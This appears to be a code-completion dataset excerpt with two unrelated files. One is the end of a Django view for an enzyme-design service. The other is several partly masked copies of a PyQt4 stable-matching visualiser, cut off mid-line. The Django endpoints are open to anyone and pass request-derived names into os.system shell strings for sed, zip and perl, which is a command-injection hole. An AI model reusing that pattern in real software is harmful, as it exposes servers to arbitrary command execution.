os.system(command)\n\n if design_mini_range != '':\n #design_mini_range = req0uest.data['design_mini_range']\n tpl_mini_range = tuple(design_mini_range.split(';'))\n if len(tpl_mini_range) != 5:\n return Response('Please check that the \"Designable Range, Repackable Range and Number of Outputs\" exists.')\n else:\n get_design_params(ligand_name, tpl_mini_range)\n else:\n get_design_params(ligand_name)\n\n os.system(\"sed -r '/^PDB_ROTAMERS/d' \" + ligand_name + \".params > match_design/design_\" + ligand_name + \".params\")\n os.system('cp design_out.flags ./match_design')\n match_dir = os.path.join(work_dir, 'match_design')\n os.chdir(match_dir)\n match_file_list = [filename for filename in os.listdir(match_dir) if filename.startswith('UM')]\n\n # design_comand(match_file_list[0])\n ###Post user###\n # pool = mul.Pool(5)\n # pool.map(design_comand, match_file_list)\n # pool.close()\n # pool.join()\n design_analysis.design_score(ligand_name, './')\n params = SubmitParamter.objects.get(job_name=job_name)\n params.user_email = user_email\n design_ligandname_out = 'design_' + ligand_name.split('.')[0] + '.out'\n\n file = File(open(design_ligandname_out))\n params.design_ligand_name_out.save(design_ligandname_out, file)\n params.save()\n\n # os.chdir(work_dir)\n # os.system('zip -r match_design.zip match_design')\n # os.system('tar czvf match_design.tar.gz UM*DE*.pdb')\n os.system('zip match_design UM*DE*.pdb ' + design_ligandname_out)\n\n email_content = \"Welcome to Jianping Lin's group\"\n match_design_file = os.path.join('./', 'match_design.zip')\n # send_email(email_addr=user_email, email_content=email_content, result_file=design_ligandname_out)\n # send_email(email_addr=user_email, email_content=email_content, result_file=match_design_file)\n # send_file_zipped(design_ligandname_out, ['[email protected]'])\n send_file_zipped(match_design_file, user_email, email_content=email_content)\n serializer = SubmitParamsSerializer(params)\n return JsonResponse(serializer.data, safe=False)\n # return Response('Successfully, this process needs ')\n\ndef get_analysis_params_dic(params):\n dic = {}\n temp_list = params.split(',')\n for param in temp_list:\n name, value = param.split(':')\n dic[name] = value\n return dic\n\n@api_view(['POST'])\n@permission_classes([permissions.AllowAny])\ndef fifth_step(request):\n job_name = request.data['job_name']\n analysis_params = request.data['analysis_params'] ### all_cst value < 0.9\\nSR_2_interf_E_1_5:-9,\n # analysis_dict = get_analysis_params_dic(analysis_params) ### {all_cst:0.9, SR_2_interf_E_1_5:-9}\n\n job_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'Enzyme_design')\n work_dir = os.path.join(job_dir, job_name)\n os.chdir(work_dir)\n for filename in os.listdir(work_dir):\n if filename.endswith('params') and not filename.startswith('LG'):\n ligand_name = filename.split('.params')[0]\n break\n match_dir = os.path.join(work_dir, 'match_design')\n os.chdir(match_dir)\n design_analysis.design_filter(ligand_name, analysis_params.strip())\n # design_analysis.design_score(ligand_name, './')\n analysis_command = 'perl /home/jianping/Programs/rosetta_bin_linux_2018.09.60072_bundle/main/source/src/apps/public/enzdes/DesignSelect.pl -d ' + 'design_'+ligand_name+'.out' + ' -c ' + 'design_'+ligand_name+'.filter' + ' -tag_column last > filtered_designs_' + ligand_name +'.out'\n print analysis_command\n os.system(analysis_command)\n # serializer = SubmitParamsSerializer(params)\n # return JsonResponse(serializer.data, safe=False)\n return Response('Successfully')\n\nclass SubmitParamsViewSet(viewsets.DynamicModelViewSet):\n queryset = SubmitParamter.objects.all()\n serializer_class = serializers.SubmitParamsSerializer\n\nclass OnlinedockViewSet(viewsets.DynamicModelViewSet):\n queryset = Onlinedock.objects.all()\n serializer_class = serializers.OnlinedockSerializer\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> class Text(QtGui.QGraphicsTextItem): <|reserved_special_token_0|> def getName(self): return self.__name class GUI(QtGui.QWidget): def __init__(self): super(GUI, self).__init__() self.exp = experiment.Experiments(20, 3) self.matching = self.exp.unidirectional_match() self.man_rank, self.woman_rank = self.matching.get_avg_rank() self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank() self.initUI() self.showMaximized() def initUI(self): self.setWindowTitle(' Stable Matching ') grid = QtGui.QGridLayout() step_button = QtGui.QPushButton('STEP', self) epoch_button = QtGui.QPushButton('EPOCH', self) end_button = QtGui.QPushButton('END', self) self.showText = QtGui.QTextEdit(self) self.showText.setText('START! ') self.statu_scene = QtGui.QGraphicsScene(self) self.initScene(self.statu_scene) self.statu_view = QtGui.QGraphicsView() self.statu_view.setScene(self.statu_scene) self.statu_view.setMinimumSize(600, 600) self.statu_view.show() self.history_scene = QtGui.QGraphicsScene(self) self.initScene(self.history_scene) self.history_view = QtGui.QGraphicsView() self.history_view.setScene(self.history_scene) self.history_view.setMinimumSize(600, 600) self.history_view.show() grid.addWidget(step_button, 1, 1) grid.addWidget(epoch_button, 2, 1) grid.addWidget(end_button, 3, 1) grid.addWidget(self.showText, 1, 2, 4, 1) grid.addWidget(self.statu_view, 1, 3, 4, 1) grid.addWidget(self.history_view, 1, 4, 4, 1) self.setLayout(grid) self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep) self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch) self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd) def initScene(self, scene): man_num = self.exp.get_man_num() woman_num = self.exp.get_woman_num() length = max(man_num, woman_num) * 30 scene.setSceneRect(0, 0, 600, length) for i in range(man_num): node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20, (0, 0, 255)) for i in range(woman_num): node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20, (255, 0, 0)) def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)): sex = name.split('_')[0] number = name.split('_')[1] rank_bias = spouse_bias = rank = 0 if sex == 'M': rank = self.man_rank[int(number)] rank_bias = -2.0 spouse_bias = -4.0 elif sex == 'W': rank = self.woman_rank[int(number)] rank_bias = 2.0 spouse_bias = 4.0 node = Node(name) node.setRect(x, y, w, h) node.changeBrush(color, 1) if int(number) < 10: number = '0' + number text = QtGui.QGraphicsTextItem(number, node) text.setPos(x, y) text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) text.setFont(font) rank_text = QtGui.QGraphicsTextItem(str(rank), node) rank_text.setPos(x + rank_bias * w, y) rank_text.setTextWidth(2 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) rank_text.setFont(font) spouse_text = Text(name + '_S', '-1') spouse_text.setPos(x + spouse_bias * w, y) spouse_text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) spouse_text.setFont(font) scene.addItem(node) scene.addItem(spouse_text) def __addLink(self, scene, name, node1, node2, color=(0, 0, 0), link_type=''): center1 = node1.boundingRect().center() center2 = node2.boundingRect().center() name1 = node1.getName().split('_')[1] name2 = node2.getName().split('_')[1] link = Link(name1 + '-' + name2, link_type) link.setLine(center1.x(), center1.y(), center2.x(), center2.y()) link.changeColor(color) scene.addItem(link) def __deleteLink(self, scene, name): link = self.__findItem(name, Link, scene.items()) scene.removeItem(link) def __changeText(self, scene, name, text): txt = self.__findItem(name, Text, scene.items()) txt.setPlainText(text) def __findItem(self, name, _type, items): for item in items: if isinstance(item, _type) and name == item.getName(): return item return False def __clearLinks(self, scene): for item in scene.items(): if isinstance(item, Link) and item.getType() != 'marry': scene.removeItem(item) def __clearUpLinks(self, scene): for item in scene.items(): if isinstance(item, Link): scene.removeItem(item) def __refreshViewStep(self, info): record = info.split('\n') length = len(record) lineiter = 0 epoch = record[lineiter].strip().split(':')[1] lineiter += 1 step = record[lineiter].strip().split(':')[1] lineiter += 1 statu = record[lineiter].strip() if 'DONE' in statu: return 0 elif 'is not activity' in statu: return 1 elif 'is married' in statu: return 2 couple = statu.replace(' ', '').split('target') man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items()) woman = self.__findItem('W_' + couple[1], Node, self.statu_scene. items()) lineiter += 1 sui_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Husband Rank' in record[lineiter]: husband_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Succeed' in record[lineiter]: self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) lineiter += 1 if lineiter <= length: if 'threw away' in record[lineiter]: throwCouple = record[lineiter].replace(' ', '').split( 'threwaway') node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items()) node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items()) self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0, 255, 0), 'break') self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0]) self.__changeText(self.statu_scene, 'M_' + throwCouple[ 1] + '_S', '-1') self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1') self.statu_view.update() self.history_view.update() elif 'Failed' in record[lineiter]: self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0, 0, 255), 'failed') self.statu_view.update() self.history_view.update() def nextStep(self): info = self.matching.step() self.showText.setText(info) self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) self.__refreshViewStep(info) def nextEpoch(self): info = self.matching.epoch() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) sep = info.split('\n')[0] records = info.split(sep + '\n') del records[0] for record in records: self.__refreshViewStep(sep + '\n' + record) self.showText.setText(info) def exeToEnd(self): info = self.matching.exe_to_end() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) records = info.split('EPOCH') del records[0] for record in records: self.__refreshViewStep('EPOCH' + record) self.showText.setText(info) def closeEvent(self, event): reply = QtGui.QMessageBox.question(self, 'Message', 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui. QMessageBox.No) if reply == QtGui.QMessageBox.Yes: event.accept() else: event.ignore() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Link(QtGui.QGraphicsLineItem): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Text(QtGui.QGraphicsTextItem): def __init__(self, name, text): super(Text, self).__init__(text) self.__name = name def getName(self): return self.__name class GUI(QtGui.QWidget): def __init__(self): super(GUI, self).__init__() self.exp = experiment.Experiments(20, 3) self.matching = self.exp.unidirectional_match() self.man_rank, self.woman_rank = self.matching.get_avg_rank() self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank() self.initUI() self.showMaximized() def initUI(self): self.setWindowTitle(' Stable Matching ') grid = QtGui.QGridLayout() step_button = QtGui.QPushButton('STEP', self) epoch_button = QtGui.QPushButton('EPOCH', self) end_button = QtGui.QPushButton('END', self) self.showText = QtGui.QTextEdit(self) self.showText.setText('START! ') self.statu_scene = QtGui.QGraphicsScene(self) self.initScene(self.statu_scene) self.statu_view = QtGui.QGraphicsView() self.statu_view.setScene(self.statu_scene) self.statu_view.setMinimumSize(600, 600) self.statu_view.show() self.history_scene = QtGui.QGraphicsScene(self) self.initScene(self.history_scene) self.history_view = QtGui.QGraphicsView() self.history_view.setScene(self.history_scene) self.history_view.setMinimumSize(600, 600) self.history_view.show() grid.addWidget(step_button, 1, 1) grid.addWidget(epoch_button, 2, 1) grid.addWidget(end_button, 3, 1) grid.addWidget(self.showText, 1, 2, 4, 1) grid.addWidget(self.statu_view, 1, 3, 4, 1) grid.addWidget(self.history_view, 1, 4, 4, 1) self.setLayout(grid) self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep) self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch) self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd) def initScene(self, scene): man_num = self.exp.get_man_num() woman_num = self.exp.get_woman_num() length = max(man_num, woman_num) * 30 scene.setSceneRect(0, 0, 600, length) for i in range(man_num): node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20, (0, 0, 255)) for i in range(woman_num): node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20, (255, 0, 0)) def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)): sex = name.split('_')[0] number = name.split('_')[1] rank_bias = spouse_bias = rank = 0 if sex == 'M': rank = self.man_rank[int(number)] rank_bias = -2.0 spouse_bias = -4.0 elif sex == 'W': rank = self.woman_rank[int(number)] rank_bias = 2.0 spouse_bias = 4.0 node = Node(name) node.setRect(x, y, w, h) node.changeBrush(color, 1) if int(number) < 10: number = '0' + number text = QtGui.QGraphicsTextItem(number, node) text.setPos(x, y) text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) text.setFont(font) rank_text = QtGui.QGraphicsTextItem(str(rank), node) rank_text.setPos(x + rank_bias * w, y) rank_text.setTextWidth(2 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) rank_text.setFont(font) spouse_text = Text(name + '_S', '-1') spouse_text.setPos(x + spouse_bias * w, y) spouse_text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) spouse_text.setFont(font) scene.addItem(node) scene.addItem(spouse_text) def __addLink(self, scene, name, node1, node2, color=(0, 0, 0), link_type=''): center1 = node1.boundingRect().center() center2 = node2.boundingRect().center() name1 = node1.getName().split('_')[1] name2 = node2.getName().split('_')[1] link = Link(name1 + '-' + name2, link_type) link.setLine(center1.x(), center1.y(), center2.x(), center2.y()) link.changeColor(color) scene.addItem(link) def __deleteLink(self, scene, name): link = self.__findItem(name, Link, scene.items()) scene.removeItem(link) def __changeText(self, scene, name, text): txt = self.__findItem(name, Text, scene.items()) txt.setPlainText(text) def __findItem(self, name, _type, items): for item in items: if isinstance(item, _type) and name == item.getName(): return item return False def __clearLinks(self, scene): for item in scene.items(): if isinstance(item, Link) and item.getType() != 'marry': scene.removeItem(item) def __clearUpLinks(self, scene): for item in scene.items(): if isinstance(item, Link): scene.removeItem(item) def __refreshViewStep(self, info): record = info.split('\n') length = len(record) lineiter = 0 epoch = record[lineiter].strip().split(':')[1] lineiter += 1 step = record[lineiter].strip().split(':')[1] lineiter += 1 statu = record[lineiter].strip() if 'DONE' in statu: return 0 elif 'is not activity' in statu: return 1 elif 'is married' in statu: return 2 couple = statu.replace(' ', '').split('target') man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items()) woman = self.__findItem('W_' + couple[1], Node, self.statu_scene. items()) lineiter += 1 sui_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Husband Rank' in record[lineiter]: husband_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Succeed' in record[lineiter]: self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) lineiter += 1 if lineiter <= length: if 'threw away' in record[lineiter]: throwCouple = record[lineiter].replace(' ', '').split( 'threwaway') node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items()) node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items()) self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0, 255, 0), 'break') self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0]) self.__changeText(self.statu_scene, 'M_' + throwCouple[ 1] + '_S', '-1') self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1') self.statu_view.update() self.history_view.update() elif 'Failed' in record[lineiter]: self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0, 0, 255), 'failed') self.statu_view.update() self.history_view.update() def nextStep(self): info = self.matching.step() self.showText.setText(info) self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) self.__refreshViewStep(info) def nextEpoch(self): info = self.matching.epoch() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) sep = info.split('\n')[0] records = info.split(sep + '\n') del records[0] for record in records: self.__refreshViewStep(sep + '\n' + record) self.showText.setText(info) def exeToEnd(self): info = self.matching.exe_to_end() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) records = info.split('EPOCH') del records[0] for record in records: self.__refreshViewStep('EPOCH' + record) self.showText.setText(info) def closeEvent(self, event): reply = QtGui.QMessageBox.question(self, 'Message', 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui. QMessageBox.No) if reply == QtGui.QMessageBox.Yes: event.accept() else: event.ignore() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Link(QtGui.QGraphicsLineItem): def __init__(self, name, link_type): super(Link, self).__init__() self.__link_type = link_type self.__name = name <|reserved_special_token_0|> def getType(self): return self.__link_type def changeType(self, link_type): self.__link_type = link_type <|reserved_special_token_0|> class Text(QtGui.QGraphicsTextItem): def __init__(self, name, text): super(Text, self).__init__(text) self.__name = name def getName(self): return self.__name class GUI(QtGui.QWidget): def __init__(self): super(GUI, self).__init__() self.exp = experiment.Experiments(20, 3) self.matching = self.exp.unidirectional_match() self.man_rank, self.woman_rank = self.matching.get_avg_rank() self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank() self.initUI() self.showMaximized() def initUI(self): self.setWindowTitle(' Stable Matching ') grid = QtGui.QGridLayout() step_button = QtGui.QPushButton('STEP', self) epoch_button = QtGui.QPushButton('EPOCH', self) end_button = QtGui.QPushButton('END', self) self.showText = QtGui.QTextEdit(self) self.showText.setText('START! ') self.statu_scene = QtGui.QGraphicsScene(self) self.initScene(self.statu_scene) self.statu_view = QtGui.QGraphicsView() self.statu_view.setScene(self.statu_scene) self.statu_view.setMinimumSize(600, 600) self.statu_view.show() self.history_scene = QtGui.QGraphicsScene(self) self.initScene(self.history_scene) self.history_view = QtGui.QGraphicsView() self.history_view.setScene(self.history_scene) self.history_view.setMinimumSize(600, 600) self.history_view.show() grid.addWidget(step_button, 1, 1) grid.addWidget(epoch_button, 2, 1) grid.addWidget(end_button, 3, 1) grid.addWidget(self.showText, 1, 2, 4, 1) grid.addWidget(self.statu_view, 1, 3, 4, 1) grid.addWidget(self.history_view, 1, 4, 4, 1) self.setLayout(grid) self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep) self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch) self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd) def initScene(self, scene): man_num = self.exp.get_man_num() woman_num = self.exp.get_woman_num() length = max(man_num, woman_num) * 30 scene.setSceneRect(0, 0, 600, length) for i in range(man_num): node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20, (0, 0, 255)) for i in range(woman_num): node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20, (255, 0, 0)) def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)): sex = name.split('_')[0] number = name.split('_')[1] rank_bias = spouse_bias = rank = 0 if sex == 'M': rank = self.man_rank[int(number)] rank_bias = -2.0 spouse_bias = -4.0 elif sex == 'W': rank = self.woman_rank[int(number)] rank_bias = 2.0 spouse_bias = 4.0 node = Node(name) node.setRect(x, y, w, h) node.changeBrush(color, 1) if int(number) < 10: number = '0' + number text = QtGui.QGraphicsTextItem(number, node) text.setPos(x, y) text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) text.setFont(font) rank_text = QtGui.QGraphicsTextItem(str(rank), node) rank_text.setPos(x + rank_bias * w, y) rank_text.setTextWidth(2 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) rank_text.setFont(font) spouse_text = Text(name + '_S', '-1') spouse_text.setPos(x + spouse_bias * w, y) spouse_text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) spouse_text.setFont(font) scene.addItem(node) scene.addItem(spouse_text) def __addLink(self, scene, name, node1, node2, color=(0, 0, 0), link_type=''): center1 = node1.boundingRect().center() center2 = node2.boundingRect().center() name1 = node1.getName().split('_')[1] name2 = node2.getName().split('_')[1] link = Link(name1 + '-' + name2, link_type) link.setLine(center1.x(), center1.y(), center2.x(), center2.y()) link.changeColor(color) scene.addItem(link) def __deleteLink(self, scene, name): link = self.__findItem(name, Link, scene.items()) scene.removeItem(link) def __changeText(self, scene, name, text): txt = self.__findItem(name, Text, scene.items()) txt.setPlainText(text) def __findItem(self, name, _type, items): for item in items: if isinstance(item, _type) and name == item.getName(): return item return False def __clearLinks(self, scene): for item in scene.items(): if isinstance(item, Link) and item.getType() != 'marry': scene.removeItem(item) def __clearUpLinks(self, scene): for item in scene.items(): if isinstance(item, Link): scene.removeItem(item) def __refreshViewStep(self, info): record = info.split('\n') length = len(record) lineiter = 0 epoch = record[lineiter].strip().split(':')[1] lineiter += 1 step = record[lineiter].strip().split(':')[1] lineiter += 1 statu = record[lineiter].strip() if 'DONE' in statu: return 0 elif 'is not activity' in statu: return 1 elif 'is married' in statu: return 2 couple = statu.replace(' ', '').split('target') man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items()) woman = self.__findItem('W_' + couple[1], Node, self.statu_scene. items()) lineiter += 1 sui_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Husband Rank' in record[lineiter]: husband_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Succeed' in record[lineiter]: self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1)))) lineiter += 1 if lineiter <= length: if 'threw away' in record[lineiter]: throwCouple = record[lineiter].replace(' ', '').split( 'threwaway') node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items()) node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items()) self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0, 255, 0), 'break') self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0]) self.__changeText(self.statu_scene, 'M_' + throwCouple[ 1] + '_S', '-1') self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1') self.statu_view.update() self.history_view.update() elif 'Failed' in record[lineiter]: self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0, 0, 255), 'failed') self.statu_view.update() self.history_view.update() def nextStep(self): info = self.matching.step() self.showText.setText(info) self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) self.__refreshViewStep(info) def nextEpoch(self): info = self.matching.epoch() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) sep = info.split('\n')[0] records = info.split(sep + '\n') del records[0] for record in records: self.__refreshViewStep(sep + '\n' + record) self.showText.setText(info) def exeToEnd(self): info = self.matching.exe_to_end() self.__clearLinks(self.statu_scene) self.__clearUpLinks(self.history_scene) records = info.split('EPOCH') del records[0] for record in records: self.__refreshViewStep('EPOCH' + record) self.showText.setText(info) def closeEvent(self, event): reply = QtGui.QMessageBox.question(self, 'Message', 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui. QMessageBox.No) if reply == QtGui.QMessageBox.Yes: event.accept() else: event.ignore() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Link(QtGui.QGraphicsLineItem): def __init__(self, name, link_type): super(Link, self).__init__() self.__link_type = link_type self.__name = name def getName(self): return self.__name def getType(self): return self.__link_type def changeType(self, link_type): self.__link_type = link_type def changeColor(self, color): p = QtGui.QPen() c = p.color() c.setRgb(color[0], color[1], color[2]) p.setColor(c) self.setPen(p) class Text(QtGui.QGraphicsTextItem): def __init__(self, name, text): super(Text, self).__init__(text) self.__name = name def getName(self): return self.__name class GUI(QtGui.QWidget): def __init__(self): super(GUI, self).__init__() self.exp = experiment.Experiments(20, 3) self.matching = self.exp.unidirectional_match() self.man_rank, self.woman_rank = self.matching.get_avg_rank() self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank() self.initUI() self.showMaximized() def initUI(self): self.setWindowTitle(' Stable Matching ') grid = QtGui.QGridLayout() step_button = QtGui.QPushButton('STEP', self) epoch_button = QtGui.QPushButton('EPOCH', self) end_button = QtGui.QPushButton('END', self) self.showText = QtGui.QTextEdit(self) self.showText.setText('START! ') self.statu_scene = QtGui.QGraphicsScene(self) self.initScene(self.statu_scene) self.statu_view = QtGui.QGraphicsView() self.statu_view.setScene(self.statu_scene) self.statu_view.setMinimumSize(600, 600) self.statu_view.show() self.history_scene = QtGui.QGraphicsScene(self) self.initScene(self.history_scene) self.history_view = QtGui.QGraphicsView() self.history_view.setScene(self.history_scene) self.history_view.setMinimumSize(600, 600) self.history_view.show() grid.addWidget(step_button, 1, 1) grid.addWidget(epoch_button, 2, 1) grid.addWidget(end_button, 3, 1) grid.addWidget(self.showText, 1, 2, 4, 1) grid.addWidget(self.statu_view, 1, 3, 4, 1) grid.addWidget(self.history_view, 1, 4, 4, 1) self.setLayout(grid) self.connect(step_button, QtCore.SIGNAL('clicked()'), self.nextStep) self.connect(epoch_button, QtCore.SIGNAL('clicked()'), self.nextEpoch) self.connect(end_button, QtCore.SIGNAL('clicked()'), self.exeToEnd) def initScene(self, scene): man_num = self.exp.get_man_num() woman_num = self.exp.get_woman_num() length = max(man_num, woman_num) * 30 scene.setSceneRect(0, 0, 600, length) for i in range(man_num): node = self.__addNode(scene, 'M_' + str(i), 120, i * 30, 20, 20, (0, 0, 255)) for i in range(woman_num): node = self.__addNode(scene, 'W_' + str(i), 480, i * 30, 20, 20, (255, 0, 0)) def __addNode(self, scene, name, x, y, w, h, color=(0, 0, 0)): sex = name.split('_')[0] number = name.split('_')[1] rank_bias = spouse_bias = rank = 0 if sex == 'M': rank = self.man_rank[int(number)] rank_bias = -2.0 spouse_bias = -4.0 elif sex == 'W': rank = self.woman_rank[int(number)] rank_bias = 2.0 spouse_bias = 4.0 node = Node(name) node.setRect(x, y, w, h) node.changeBrush(color, 1) if int(number) < 10: number = '0' + number text = QtGui.QGraphicsTextItem(number, node) text.setPos(x, y) text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) text.setFont(font) rank_text = QtGui.QGraphicsTextItem(str(rank), node) rank_text.setPos(x + rank_bias * w, y) rank_text.setTextWidth(2 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) rank_text.setFont(font) spouse_text = Text(name + '_S', '-1') spouse_text.setPos(x + spouse_bias * w, y) spouse_text.setTextWidth(1.5 * w) font = QtGui.QFont('Times', 8) font.setWeight(99) spouse_text.setFont(font) scene.addItem(node) scene.addItem(spouse_text) def __addLink(self, scene, name, node1, node2, color=(0, 0, 0), link_type=''): center1 = node1.boundingRect().center() center2 = node2.boundingRect().center() name1 = node1.getName().split('_')[1] name2 = node2.getName().split('_')[1] link = Link(name1 + '-' + name2, link_type) link.setLine(center1.x(), center1.y(), center2.x(), center2.y()) link.changeColor(color) scene.addItem(link) def __deleteLink(self, scene, name): link = self.__findItem(name, Link, scene.items()) scene.removeItem(link) def __changeText(self, scene, name, text): txt = self.__findItem(name, Text, scene.items()) txt.setPlainText(text) def __findItem(self, name, _type, items): for item in items: if isinstance(item, _type) and name == item.getName(): return item return False def __clearLinks(self, scene): for item in scene.items(): if isinstance(item, Link) and item.getType() != 'marry': scene.removeItem(item) def __clearUpLinks(self, scene): for item in scene.items(): if isinstance(item, Link): scene.removeItem(item) def __refreshViewStep(self, info): record = info.split('\n') length = len(record) lineiter = 0 epoch = record[lineiter].strip().split(':')[1] lineiter += 1 step = record[lineiter].strip().split(':')[1] lineiter += 1 statu = record[lineiter].strip() if 'DONE' in statu: return 0 elif 'is not activity' in statu: return 1 elif 'is married' in statu: return 2 couple = statu.replace(' ', '').split('target') man = self.__findItem('M_' + couple[0], Node, self.statu_scene.items()) woman = self.__findItem('W_' + couple[1], Node, self.statu_scene. items()) lineiter += 1 sui_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Husband Rank' in record[lineiter]: husband_rank = record[lineiter].replace(' ', '').split(':')[1] lineiter += 1 if 'Succeed' in record[lineiter]: self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type='marry') self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1))) self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', 